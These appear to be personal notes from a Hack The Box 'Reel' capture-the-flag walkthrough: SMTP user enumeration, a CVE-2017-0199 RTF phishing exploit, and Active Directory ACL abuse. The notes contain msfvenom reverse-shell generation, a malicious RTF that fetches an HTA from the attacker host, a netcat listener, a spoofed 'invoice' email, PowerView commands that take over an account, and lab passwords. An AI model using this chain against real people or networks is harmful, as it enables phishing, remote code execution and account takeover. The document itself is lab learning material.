

ANON FTP

EXIFTOOL

SMTP USER ENUM

RTF EXPLOIT

XML

Export cliXML

Writeowner Permission

Backup Admin

Writedacl rights

PORT	STATE	SERVICE	VERSION
------	-------	---------	---------

21/tcp	open	ftp	Microsoft ftpd
--------	------	-----	----------------

| ftp-anon: Anonymous FTP login allowed (FTP code 230)

|_ 05-29-18 12:19AM <DIR> documents

| ftp-syst:

|_ SYST: Windows_NT

22/tcp	open	ssh	OpenSSH 7.6 (protocol 2.0)
--------	------	-----	----------------------------

| ssh-hostkey:

| 2048 82:20:c3:bd:16:cb:a2:9c:88:87:1d:6c:15:59:ed:ed (RSA)

| 256 23:2b:b8:0a:8c:1c:f4:4d:8d:7e:5e:64:58:80:33:45 (ECDSA)

|_ 256 ac:8b:de:25:1d:b7:d8:38:38:9b:9c:16:bf:f6:3f:ed (ED25519)

25/tcp	open	smtp?	
--------	------	-------	--

| smtp-commands: REEL, SIZE 20480000, AUTH LOGIN PLAIN, HELP,

|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY

135/tcp	open	msrpc	Microsoft Windows RPC
---------	------	-------	-----------------------

139/tcp	open	netbios-ssn	Microsoft Windows netbios-ssn
---------	------	-------------	-------------------------------

445/tcp	open	microsoft-ds	Windows Server 2012 R2 Standard 9600 microsoft-ds (workgroup: HTB)
---------	------	--------------	--

593/tcp	open	ncacn_http	Microsoft Windows RPC over HTTP 1.0
---------	------	------------	-------------------------------------

49159/tcp	open	msrpc	Microsoft Windows RPC
-----------	------	-------	-----------------------

FTP

```
root@kali:/home/kali/Desktop/htb/reel# ftp reel.htb
```

Connected to reel.htb.

220 Microsoft FTP Service

Name (reel.htb:kali): anonymous

331 Anonymous access allowed, send identity (e-mail name) as password.

Password:

230 User logged in.

Remote system type is Windows_NT.

```
root@kali:/home/kali/Desktop/htb/reel# cat readme.txt
```

please email me any rtf format procedures - I'll review and convert.

```
root@kali:/home/kali/Desktop/htb/reel# ls
```

Applocker.docx fullscan readme.txt scan 'Windows Event Forwarding.docx'

EXIFTOOL

```
oot@kali:/home/kali/Desktop/htb/reel# exiftool 'Windows Event Forwarding.docx'
```

ExifTool Version Number : 12.00

File Name : Windows Event Forwarding.docx

Directory : .

File Size : 14 kB

File Modification Date/Time : 2020:07:13 11:19:37-04:00

File Access Date/Time : 2020:07:13 11:20:20-04:00

File Inode Change Date/Time : 2020:07:13 11:19:37-04:00

File Permissions : rw-r--r--

File Type : DOCX

File Type Extension : docx

MIME Type : application/vnd.openxmlformats-officedocument.wordprocessingml.document

Zip Required Version : 20

Zip Bit Flag : 0x0006

Zip Compression : Deflated

Zip Modify Date : 1980:01:01 00:00:00

Zip CRC : 0x82872409

Zip Compressed Size : 385

Zip Uncompressed Size : 1422

Zip File Name : [Content_Types].xml

Creator : nico@megabank.com

Revision Number : 4

Create Date : 2017:10:31 18:42:00Z

Modify Date : 2017:10:31 18:51:00Z

Template : Normal.dotm

Total Edit Time : 5 minutes

Pages : 2

Words : 299

Characters : 1709

Application : Microsoft Office Word

Doc Security : None

Lines : 14

Paragraphs : 4

Scale Crop : No

Heading Pairs : Title, 1

Titles Of Parts :

Company :

Links Up To Date : No

Characters With Spaces : 2004

Shared Doc : No

Hyperlinks Changed : No

App Version : 14.0000

Creator : nico@megabank.com

SMTP

root@kali:/home/kali/Desktop/htb/reel# telnet reel.htb 25

root@kali:/home/kali/Desktop/htb/reel# telnet reel.htb 25

Trying 10.10.10.77...

Connected to reel.htb.

Escape character is '^]'.

220 Mail Service ready

HELLO akg.com

503 Bad sequence of commands

HELO akg.com

250 Hello.

MAIL FROM:akg@akg.com

250 OK

RCPT TO:akg@akg.com

250 OK

RCPT TO:akg@bbb.com

250 OK

RCPT TO:anm@asdasd.com

<http://pentestmonkey.net/tools/user-enumeration/smtp-user-enum>

root@kali:/home/kali/Desktop/tools/smtp-user-enum/smtp-user-enum-1.2# cat test-users.txt

reel

administrator

admin

root

reel@htb

reel@htb.local

reel@reel.htb

administrator@htb

admin@htb

root@htb

sadfasdfasdfasdf@htb

nico@megabank.com

0xdf@megabank.com

htb@metabank.com

```
root@kali:/home/kali/Desktop/tools/smtp-user-enum/smtp-user-enum-1.2# perl smtp-user-enum.pl -M RCPT -U test-users.txt -t 10.10.10.77
```

```
10.10.10.77: reel@htb exists
```

```
10.10.10.77: reel@htb.local exists
```

```
10.10.10.77: reel@reel.htb exists
```

```
10.10.10.77: administrator@htb exists
```

```
10.10.10.77: admin@htb exists
```

```
10.10.10.77: root@htb exists
```

```
10.10.10.77: sadfasdfasdfsdf@htb exists
```

```
10.10.10.77: nico@megabank.com exists
```

RTF EXPLOIT

At the time of Reel's release, there was a popular RTF exploit that was being used very commonly in broad-based attacks, [CVE-2017-0199](#). The Metasploit module description does a good job explaining it at a high level:

Description: This module creates a malicious RTF file that when opened in vulnerable versions of Microsoft Word will lead to code execution. The flaw exists in how a olelink object can make a http(s) request, and execute hta code in response. This bug was originally seen being exploited in the wild starting in Oct 2016. This module was created by reversing a public malware sample.

First, I'll use msfvenom to generate an HTA file that will give me a reverse shell:

```
root@kali:/home/kali/Desktop/htb/reel# msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.27 LPORT=443 -f hta-psh -o msfv.hta
```

Next, I'll create an RTF file, using scripts from [this GitHub](#) and the following options:

<https://github.com/bhdresh/CVE-2017-0199>

```
root@kali:/home/kali/Desktop/htb/reel# python toolkit.py -M gen -w invoice.rtf -u http://10.10.14.27/msfv.hta -t rtf -x 0
```

Generating normal RTF payload.

Generated invoice.rtf successfull

With the document's prepped, I'll start a python http.server to serve the hta file, a nc listener to catch my shell, and then send the phish. I'll use sendemail with the following options:

```
root@kali:/home/kali/Desktop/htb/reel# python -m SimpleHTTPServer 80
```

```
root@kali:/home/kali# nc -nlvp 443
```

```
root@kali:/home/kali/Desktop/htb/reel# sendEmail -f 0xdf@megabank.com -t nico@megabank.com -u "Invoice Attached" -m "You are overdue payment" -a invoice.rtf -s 10.10.10.77 -v
```

- -f - from address, can be anything as long as the domain exists
- -t - to address, nico@megabank.com

- -u - subject
- -m - body
- -a - attachment
- -s - smtp server
- -v – verbose

SHELL GAINED!!!!

C:\Users\nico\Desktop>type cred.xml

type cred.xml

```
<Objs Version="1.1.0.1" xmlns="http://schemas.microsoft.com/powershell/2004/04">
```

```
<Obj RefId="0">
```

```
<TN RefId="0">
```

```
<T>System.Management.Automation.PSCredential</T>
```

```
<T>System.Object</T>
```

```
</TN>
```

```
<ToString>System.Management.Automation.PSCredential</ToString>
```

```
<Props>
```

```
<S N="UserName">HTB\Tom</S>
```

```
<SS
```

```
N="Password">01000000d08c9ddf0115d1118c7a00c04fc297eb01000000e4a07bc7aaeade47925c42c8be58707300000000
02000000000003660000c000000010000000d792a6f34a55235c22da98b0c041ce7b0000000004800000a000000010000000
65d20f0b4ba5367e53498f0209a3319420000000d4769a161c2794e19fcefff3e9c763bb3a8790deebf51fc51062843b5d52e40
214000000ac62dab09371dc4dbfd763fea92b9d5444748692</SS>
```

```
</Props>
```

```
</Obj>
```

```
</Objs>
```

PowerShell has this object called a PSCredential, which provides a method to store usernames, passwords, and credentials. There's also two functions, Import-CliXml and Export-CliXml, which are used to save these credentials to and restore them from a file. This file is the output of Export-CliXml.

C:\Users\nico\Desktop>powershell -c "\$cred = Import-CliXml -Path cred.xml; \$cred.GetNetworkCredential() | Format-List *"

powershell -c "\$cred = Import-CliXml -Path cred.xml; \$cred.GetNetworkCredential() | Format-List *"

UserName : Tom

Password : 1ts-mag1c!!!

SecurePassword : System.Security.SecureString

Domain : HTB

Ssh tom@reel.htb

1ts-mag1c!!!

TOM USER!!!

tom@REEL C:\Users\tom\Desktop\AD Audit>type note.txt

Findings:

Surprisingly no AD attack paths from user to Domain Admin (using default shortest path query).

Maybe we should re-run Cypher query against other groups we've created.

tom@REEL C:\Users\tom\Desktop\AD Audit>

Privesc: tom -> claire

PS C:\Users\tom\Desktop\AD Audit\BloodHound> . .\PowerView.ps1

Next, I'll set tom as the owner of claire's ACL:

PS C:\Users\tom\Desktop\AD Audit\BloodHound> Set-DomainObjectOwner -identity claire -Owneridentity tom

Next, I'll give tom permissions to change passwords on that ACL:

PS C:\Users\tom\Desktop\AD Audit\BloodHound> Add-DomainObjectAcl -TargetIdentity claire -PrincipalIdentity tom -
Rights ResetPassword

Now, I'll create a credential, and then set claire's password

PS C:\Users\tom\Desktop\AD Audit\BloodHound> \$cred = ConvertTo-SecureString "qwer1234QWER!@# \$" -AsPlainText -
force

PS C:\Users\tom\Desktop\AD Audit\BloodHound> Set-DomainUserPassword -identity claire -accountpassword \$cred

Ssh claire@reel.htb

CLAIRE USER!!!!!!

<https://0xdf.gitlab.io/2018/11/10/htb-reel.html>

Privesc: claire -> Backup_Admns

From the analysis before, I know that claire has WriteDacl rights on the Backup_Admns group. I can use that to add her to the group. First, see that the only member of the group is ranj:

```
claire@REEL C:\Users\claire>net group backup_admins
```

```
Group name    Backup_Admns
```

```
Comment
```

```
Members
```

```
-----
```

```
ranj
```

The command completed successfully.

```
claire@REEL C:\Users\claire>net group backup_admins claire /add
```

```
claire@REEL C:\Users\claire>net group backup_admins
```

```
Group name    Backup_Admns
```

```
Comment
```

```
Members
```

```
-----
```

```
claire      ranj
```


Back in as claire and in Backup_Admns, I can check the premissions on the Administrator folder:

```
claire@REEL C:\Users>icacls Administrator
```

```
Administrator NT AUTHORITY\SYSTEM:(OI)(CI)(F)
```

```
HTB\Backup_Admns:(OI)(CI)(F)
```

```
HTB\Administrator:(OI)(CI)(F)
```

```
BUILTIN\Administrators:(OI)(CI)(F)
```

Successfully processed 1 files; Failed processing

```
claire@REEL C:\Users\Administrator\Desktop\Backup Scripts>type BackupScript.ps1
```

```
# admin password
```

```
$password="Cr4ckMeIfYouC4n!"
```